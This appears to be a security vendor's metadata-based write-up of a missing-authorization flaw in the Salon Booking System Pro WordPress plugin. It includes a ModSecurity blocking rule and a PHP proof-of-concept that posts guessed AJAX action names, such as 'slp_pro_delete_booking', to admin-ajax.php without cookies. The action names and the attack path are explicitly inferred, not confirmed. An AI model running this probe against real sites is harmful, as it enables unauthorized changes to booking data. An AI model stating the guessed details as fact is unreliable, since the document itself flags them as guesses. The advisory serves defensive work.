Atomic Edge analysis of CVE-2026-25334 (metadata-based):
This vulnerability is a missing authorization flaw in the Salon Booking System Pro WordPress plugin. The vulnerability affects all plugin versions up to, but not including, 10.30.12. The CVSS vector indicates a network-based attack with low attack complexity, no required privileges, no user interaction, and no impact on confidentiality or availability, but a low impact on integrity. This suggests an unauthenticated attacker can trigger a specific plugin function to perform an unauthorized action.
Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook handler. The CWE-862 classification confirms the plugin fails to verify a user’s permissions before executing a function. Without access to the source code diff, this conclusion is inferred from the CWE description and the WordPress plugin architecture. The vulnerable function is likely registered via `add_action()` or `add_filter()` without a corresponding `current_user_can()` check. The function may also lack a nonce verification, but the primary flaw is the missing authorization check.
Exploitation likely targets a WordPress AJAX endpoint. The plugin slug ‘salon-booking-plugin-pro’ suggests AJAX action names may follow patterns like ‘slp_pro_*’ or ‘salon_booking_*’. An unauthenticated attacker sends a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter matching the vulnerable hook. The request may include additional plugin-specific parameters that trigger the unauthorized action, such as deleting a booking, updating a setting, or manipulating customer data. The exact action name is not confirmed from the metadata.
The remediation in version 10.30.12 likely added a proper capability check. The fix should verify the current user has the required permission, such as `manage_options` or a custom plugin capability, before executing the function. The patch may also have added a nonce check for CSRF protection, but the core fix addresses the missing authorization. Developers should implement checks like `if (!current_user_can(‘manage_options’)) { wp_die(); }` at the start of the vulnerable function.
The impact is limited to integrity, allowing unauthenticated attackers to perform a single, specific unauthorized action. This could involve deleting or modifying booking data, changing plugin settings, or manipulating customer records. The low integrity impact score suggests the action does not lead to full site compromise or data destruction. However, any unauthorized modification in a booking system can disrupt business operations and damage trust.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25334 (metadata-based)
# This rule blocks exploitation of the missing authorization vulnerability in Salon Booking System Pro.
# The rule targets the most likely attack vector: unauthenticated AJAX requests to the vulnerable action.
# Without the exact action name from source code, we block based on plugin-specific patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625334,phase:2,deny,status:403,chain,msg:'CVE-2026-25334: Missing Authorization in Salon Booking System Pro Plugin',severity:'CRITICAL',tag:'CVE-2026-25334',tag:'WordPress',tag:'Plugin',tag:'Salon-Booking-System-Pro'"
SecRule ARGS_POST:action "@rx ^(slp_pro_|salon_booking_)"
"chain,t:none"
SecRule &REQUEST_HEADERS:Cookie "@eq 0"
"t:none,setvar:'tx.cve_2026_25334_block=1'"
# Alternative rule if the plugin uses a specific, known vulnerable action name.
# Replace 'VULNERABLE_ACTION_NAME' if the exact action is discovered.
# SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
# "id:202625335,phase:2,deny,status:403,chain,msg:'CVE-2026-25334 via Salon Booking System Pro AJAX',severity:'CRITICAL',tag:'CVE-2026-25334'"
# SecRule ARGS_POST:action "@streq VULNERABLE_ACTION_NAME"
# "chain,t:none"
# SecRule &REQUEST_HEADERS:Cookie "@eq 0"
# "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25334 - Salon Booking System Pro < 10.30.12 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-25334.
* This script attempts to trigger the missing authorization vulnerability.
* The exact AJAX action name is inferred from the plugin slug and common patterns.
* Without the patched source code, this PoC tests likely action names.
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common action name patterns for the Salon Booking System Pro plugin
$candidate_actions = [
'slp_pro_delete_booking',
'salon_booking_delete',
'slp_clear_cache',
'slp_pro_update_settings',
'salon_booking_pro_action'
];
foreach ($candidate_actions as $action) {
echo "[*] Testing action: {$action}n";
$ch = curl_init();
$post_data = ['action' => $action, 'test_param' => '1'];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Simulate an unauthenticated request
curl_setopt($ch, CURLOPT_COOKIE, '');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo " HTTP Code: {$http_code}n";
echo " Response length: " . strlen($response) . " bytesn";
// Check for indicators of successful execution
if ($http_code == 200 && strlen($response) > 0) {
if (strpos($response, 'error') === false && strpos($response, '0') !== 0) {
echo " [POSSIBLE SUCCESS] Action '{$action}' may be vulnerable.n";
echo " Response preview: " . substr($response, 0, 200) . "...n";
}
}
echo "n";
}
echo "[!] Note: This PoC tests common patterns. The actual vulnerable action namen";
echo " could not be confirmed from the available metadata.n";
?>
